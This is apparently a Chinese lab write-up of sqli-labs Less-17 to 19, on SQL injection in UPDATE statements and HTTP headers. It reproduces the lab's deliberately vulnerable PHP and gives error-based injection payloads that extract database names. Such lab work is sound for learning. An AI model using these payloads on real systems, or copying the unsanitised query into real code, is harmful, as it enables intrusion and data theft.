「SQL注入入门篇」SQL注入(十)

为什么我是web安全菜鸡啊!!!

Posted by 许大仙 on November 10, 2016
川普竟然当选了……

Less-17

Update

Update语句用于修改表中的数据

UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值

比如语句:

update users set password = 123 where username = admin

将users表用户名为admin的用户,密码改成了123

注意这里“新值”可以是逻辑运算结果

测试

输入用户名admin,新密码123,发现成功的修改了密码

输入admin’,发现不能正确修改,但也没报错,说明不存在注入

输入密码123’,发现报错,存在注入

PHP

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
# check_input函数对输入值做了严格的注入防护
function check_input($value) 
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}

return $value;

}

// take the variables


if(isset($_POST['uname']) && isset($_POST['passwd']))

{

//making sure uname is not injectable


# 此处保证了只有passwd这个字段可以注入

$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'User Name:'.$uname."\n");

fwrite($fp,'New Password:'.$passwd."\n");

fclose($fp);

// connectivity

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

//echo $row;

if($row)

{

//echo '<font color= "#0000ff">';

$row1 = $row['username'];

//echo 'Your Login name:'. $row1;

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

mysql_query($update);

echo "<br>";

if (mysql_error())

{

echo '<font color= "#FFFF00" font size = 3 >';

print_r(mysql_error());

echo "</br></br>";

echo "</font>";

}

else

{

echo '<font color= "#FFFF00" font size = 3 >';

//echo " You password has been successfully updated " ;

echo "<br>";

echo "</font>";

}

echo '<img src="../images/flag1.jpg" />';

//echo 'Your Password:' .$row['password'];

echo "</font>";

}

else

{

echo '<font size="4.5" color="#FFFF00">';

//echo "Bug off you Silly Dumb hacker";

echo "</br>";

echo '<img src="../images/slap1.jpg" />';

echo "</font>";

}

}

?>
// 输入字符不能注入
uname=admin&passwd=ad' and (select 1 from (select count(*),(concat("~",database(),"~",
floor(rand(0)*2)))name from information_schema.tables group by name)b) # &submit=Submit
// 输入数字才能注入
uname=admin&passwd=123' and (select 1 from (select count(*),(concat("~",database(),"~",
floor(rand(0)*2)))name from information_schema.tables group by name)b) # &submit=Submit

Less-18

Less-18是HTTP Header注入,在这里可以用账号admin密码admin登入,由于之前有题目是更改这个密码的,如果提示密码错误请重置数据库。

测试过程

用任意账号密码登陆发现不能登陆,也没有其他信息

用正确的用户密码admin,admin登陆,发现登陆后返回了IP地址和Referer头信息

抓包后在User-Agent字段中插入单引号发现报错,在各个位置插入单引号,大概能拼接出他的语句应该是 INSERT INTO tables (“User-Agent”, “IP”, “User name”)

Insert

用于向表中插入新的行

INSERT INTO 表名 VALUES(value1, value2, …)

比如:INSERT INTO User VALUES(“Tom”, “12”)

VALUES 中插入的值也可以是逻辑运算的结果

Payload

于是我们想办法构造这个语句,从中间截断闭合。由于能够进行逻辑运算,我们可以采用报错注入的方法去获取需要的信息。

Referer: 1',1,(select 1 from (select count(*),(concat("~",database(),"~",floor(rand(0)*2)))name 
from information_schema.tables group by name)b))#

Less-19

Less-19是在Referer位置进行注入,同样属于Header注入,道理类似。

测试

发现在正确登陆后会显示Referer的信息,抓包后进行分析,在Referer那一行插入一个引号,发现报错。

然而需要注意的是,报错并不会把所有信息都显示给你,我们在Referer信息之前插入引号与在Referer信息之后插入引号报错信息不同,根据两部分信息能够拼接和猜测出真正的后台语句是

INSERT INTO table VALUE(‘Referer’,’IP’);

Referer:1', (select 1 from (select count(*),(concat("~",database(),"~",
floor(rand(0)*2)))name from information_schema.tables group by name)b)) #